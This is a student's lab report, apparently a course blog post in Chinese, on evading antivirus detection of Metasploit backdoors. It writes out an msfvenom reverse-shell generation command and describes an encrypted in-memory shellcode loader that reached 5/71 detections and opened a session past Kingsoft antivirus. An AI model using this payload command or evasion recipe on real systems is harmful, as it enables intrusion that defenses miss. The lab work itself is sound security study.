20242313 2026-2027-1 《网络与系统攻防技术》实验三实验报告

20242313 2026-2027-1 《网络与系统攻防技术》实验三实验报告

0. 基础问题回答

(1)杀软是如何检测出恶意代码的?

杀软的检测大致分几层。最基础的是特征码检测:病毒库保存着大量已知恶意样本的特征字节,扫描时在文件中比对,命中即报毒,这招对已知样本最有效。其次是启发式扫描,不比对具体特征,而是根据代码里的可疑逻辑(如下载并执行、写注册表自启动)判断它是不是恶意软件。第三层是行为监控,在程序运行时观察行为,比如连接可疑地址、向其他进程注入、修改关键系统项,都会被拦截——这也解释了为什么有些文件扫描不报、一运行却被拦。此外还有机器学习,通过大量样本训练模型,辅助提升前面几层的识别能力。

(2)免杀是做什么?

免杀就是通过技术手段让恶意代码规避杀软检测,从而在目标主机上正常运行。核心在于静态层面消除或改变恶意特征,动态层面隐藏可疑行为,让杀软既无法通过扫描识别,也难以在运行时拦截。

(3)免杀的基本方法有哪些?

静态方面主要有:修改特征码、代码混淆或加密、加壳(压缩壳 UPX、加密壳 Hyperion)、更换文件格式。动态方面主要有:内存加载(把 shellcode 载入内存或注入其他进程执行)、延迟执行、行为伪装、反沙箱。实际中往往组合多层技术同时破坏多个检测点,本次实验最后通过编码、自定义加密与内存加载的组合把检出率压到了 5/71。

1. 基础知识

本次实验涉及的主要知识点:msfvenom 用于生成多种格式的恶意 payload;编码器(shikata_ga_nai)对 payload 变形以绕过特征检测;Veil 框架提供免杀模板;C 语言通过函数指针把 shellcode 直接在内存中执行;UPX 压缩壳与 Hyperion 加密壳对可执行文件加壳;凯撒移位加密对 shellcode 自定义混淆;Metasploit 的 exploit/multi/handler 用于建立反向连接监听;通过 VirusTotal 在线多引擎扫描测定检出率。

2. 实验内容

本实验要求掌握免杀的原理与技术,分别使用 MSF 编码器、Veil 框架、C 语言 + Shellcode 编程、加壳工具等生成免杀样本,通过组合多种技术实现恶意代码免杀,并在开启杀软的虚拟机中实测回连成功,注明杀软名称与版本。

3. 实验过程

3.1 基准样本生成

先用 msfvenom 生成一个未做任何处理的 Windows 反向连接后门,作为本次实验的基准,测定"完全不免杀"时的检出率,作为后续所有对比的基线。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.93.129 LPORT=2213 -f exe > base_20242313.exe

上传 VirusTotal,检出 52/71,绝大部分杀软都能识别,符合基准预期。

image

3.2 编码器与多格式文件测试

对 payload 使用 shikata_ga_nai 编码器迭代 1 次和 10 次,并生成 jar、elf 等其他格式文件,分别测检出率,观察编码器迭代次数和文件格式对免杀效果的影响。

文件 检出率
encoded1(exe 编码1次) 50/71
encoded10(exe 编码10次) 50/71
jar / jar10 37/64 / 36/64
elf / elf10 34/63 / 32/64
image
image
image
image
image
image

结果是:编码迭代对检出率几乎无影响(50/71 基本没动,杀软已能识别 ShikataGaNai 编码特征),文件格式差异有一定影响但有限。

3.3 Veil 框架免杀

安装 Veil 时下载依赖一度卡住(更换网络后解决),使用 c/meterpreter/rev_tcp 模板生成 C 语言反向连接样本。检出 36/71,比裸后门明显下降,但仍有相当检出。

image
image

3.4 C 语言 + Shellcode 加载器

用 msfvenom 生成 shellcode,编写 C 加载器,通过函数指针方式在内存中直接执行,编译为 exe。样本不落盘执行恶意代码,检出 29/71。
image
image

3.5 加壳处理

对加载器分别使用 UPX 压缩壳和 Hyperion 加密壳,检出率反而上升:UPX 34/71、Hyperion 50/70(ClamAV 直接识别出 Hyperion 壳特征)。说明加壳工具的特征同样已被杀软收录,单一加壳在现代杀软面前基本失效。
image
屏幕截图 2026-10-23 153641
屏幕截图 2026-10-23 154324

3.6 组合免杀与真机回连验证

将编码、自定义加密、内存加载组合使用。不用现成加密,自写凯撒加密:先把 shellcode 每个字节 +3 位移加密为密文存文件,再写加载器读取密文、解密后内存执行。磁盘上只有密文,无任何已知恶意特征,检出率降至 5/71。
屏幕截图 2026-10-23 162537

拷贝到装有金山毒霸(V16)的 Win10 虚拟机,Kali 端 msfconsole 建立监听,双击运行后成功回连,弹出 meterpreter 会话,getuid 确认控制目标主机。金山毒霸开启状态下回连成功。
![image](https://img2024.cnblogs.com/blog/3610222/202610/3610222-20261023170103466-461617700.png
屏幕截图 2026-10-23 162249
屏幕截图 2026-10-23 162220

4. 问题及解决方案

  • 问题1:Veil 生成时报 Permission denied,输出目录 /var/lib/veil/output 属 root。
    解决方案:执行 sudo chown -R kali:kali /var/lib/veil/output 改属主后重新生成成功。

  • 问题2:编译的 exe 在 Win10 上报"找不到 libgcc_s_dw2-1.dll",无法运行。
    解决方案:MinGW 默认动态链接 GCC 运行时库,目标机没有这些 DLL。加 -static 静态链接重新编译,生成独立 exe。

  • 问题3:密文文件 txt 下载后被 Windows Defender 实时保护删除,导致加载器读不到密文无法回连。
    解决方案:装上金山毒霸后 Defender 实时保护被第三方杀软接管,重新下载即正常保留。

  • 问题4:Veil 安装时下载依赖卡住。
    解决方案:校园网不稳定,更换网络(手机热点)后安装完成。

  • 问题5:wine 运行 Hyperion 时出现虚拟内存告警。
    解决方案:属 wine 环境噪音,不影响文件生成,忽略即可。

5. 学习感悟、思考等

做这个实验之前,我总以为免杀就是把文件换个名字、加个壳就完事了。真动手才发现根本不是那么回事。光是 msf 自带的编码器,我原以为编码次数越多越安全,结果 10 次编码和 1 次没区别,检出率纹丝不动——现在的杀软早就不吃这一套了,编码器自己的特征都被收进库了。加壳也一样,我兴致勃勃给文件套了两层壳,检出率反而从 29 升到 50,挺受打击的。

后来我想明白一件事:免杀和杀软就是一场猫鼠游戏,你改一步,它就收录一步,没有一劳永逸的办法。真正管用的反而是最"笨"的组合:把 shellcode 用最基础的凯撒加密藏起来,再靠内存执行让它不落盘。检出率一下从 52 压到 5,那种感觉挺有成就感的,也让我体会到,与其迷信某个现成工具,不如理解原理自己动手。

做完也在想安全问题。免杀技术本身是中性的,能用来做坏事,也能用来检验自己防护有没有漏洞。这次是课程实验,但如果在真实环境里拿这套东西去搞别人电脑,那是违法的。学了攻击,更得守住底线。

参考资料

无

posted @ 2026-10-23 16:55  20242313曾海鹏  阅读(5)  评论(0)    收藏  举报